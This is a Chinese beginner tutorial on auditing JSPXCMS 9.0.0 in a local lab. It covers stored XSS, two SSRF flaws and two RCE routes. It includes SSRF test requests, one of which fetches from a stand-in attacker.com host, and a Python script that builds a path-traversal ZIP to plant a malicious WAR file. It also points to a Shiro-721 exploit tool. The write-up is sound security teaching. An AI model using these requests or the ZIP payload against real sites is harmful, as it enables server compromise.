第一次java代码审计供新手学习
字数 1363 2025-08-06 18:08:01
Java代码审计入门教学文档:JSPXCMS 9.0.0审计实战
前言
本文是针对JSPXCMS 9.0.0系统的Java代码审计入门教程,适合刚接触Java代码审计的新手学习。通过本教程,您将学习到如何搭建审计环境、发现并分析XSS、SSRF和RCE等常见漏洞。
环境搭建
所需资源
- 源码下载:jspxcms-9.0.0-release-src.zip
- 安装包(部署到Tomcat):jspxcms-9.0.0-release.zip
搭建步骤
- 解压源码包
- 使用IntelliJ IDEA导入项目
- 创建数据库并导入数据库文件
- 配置数据库连接
- 加载Maven依赖(注意根据本地数据库版本调整依赖版本)
- 启动SpringBoot应用
后台访问地址:http://127.0.0.1:8080/cmscp/index.do
XSS漏洞审计
漏洞发现
- 在文章评论处尝试XSS未成功
- 在"我的空间"->"评论"处发现XSS触发
代码分析
-
搜索
comment_submit找到评论提交入口 -
跟踪
text参数的走向 -
发现存储时未进行过滤:
// 直接存储评论内容 commentService.save(bean); -
分析触发点:
- 搜索
space找到相关模板 - 发现使用Freemarker模板引擎
- 检查转义情况:
<#escape x as x?html> - 发现部分页面未添加转义指令
- 搜索
关键点
- 存储型XSS
- 输入未过滤,输出未转义
- 漏洞触发路径:
/space/comment_list.do?type=comment
SSRF漏洞审计
第一处:编辑器图片抓取
漏洞发现
-
搜索关键函数:
URL.openConnection() URL.openStream() -
找到
catchImage方法
代码分析
-
参数来源:
String[] sources = Servlets.getParameterValues(req, "source[]"); -
漏洞路径:
/core/ueditor.do?action=catchimage -
漏洞利用:
- 后台SSRF
- 可请求任意URL并保存返回内容
- 仅验证是否为图片(可通过SVG绕过)
测试验证
POST /cmscp/core/ueditor.do?action=catchimage
source[]=http://attacker.com/malicious.svg
第二处:URL抓取功能
漏洞发现
-
搜索关键函数:
HttpClient.execute() -
找到
fetchUrl方法
代码分析
-
参数来源:
String url = Servlets.getParameter(req, "url"); -
漏洞路径:
/cmscp/ext/collect/fetch_url.do
测试验证
GET /cmscp/ext/collect/fetch_url.do?url=http://127.0.0.1:8080
RCE漏洞审计
第一处:ZIP解压导致任意文件写入
漏洞发现
- 后台发现上传功能
- 上传ZIP文件会自动解压
代码分析
-
跟踪
zipUpload方法 -
关键代码:
// 解压ZIP文件 FileUtils.unzip(tmpFile, destDir); -
无过滤直接写入文件系统
漏洞利用
-
制作恶意WAR包
-
使用Python脚本构造跨目录ZIP:
import zipfile file = zipfile.ZipFile('shell.zip','w',zipfile.ZIP_DEFLATED) with open('test.war','rb') as f: data = f.read() file.writestr('../../../test.war',data) file.close() -
上传后访问
/test/路径触发
第二处:Shiro反序列化漏洞
漏洞发现
- 检查
pom.xml发现Shiro版本为1.3.2 - 符合Shiro-721漏洞条件
漏洞利用
- 使用Shiro-721利用工具:Shiro-721-Exploit
- 需要有效的rememberMe cookie
- 执行反序列化攻击
总结
审计要点
- 输入输出处理:检查所有用户输入的过滤和输出转义
- 危险函数:搜索
URL.openConnection()、HttpClient.execute()等 - 文件操作:检查上传、解压等文件操作的安全控制
- 框架漏洞:检查依赖库版本和已知漏洞
修复建议
- 对所有用户输入进行严格过滤
- 实现输出编码
- 限制SSRF的目标地址
- 对ZIP解压进行安全限制
- 升级Shiro到最新安全版本
通过本案例学习,新手可以掌握基本的Java代码审计方法和常见漏洞挖掘技巧。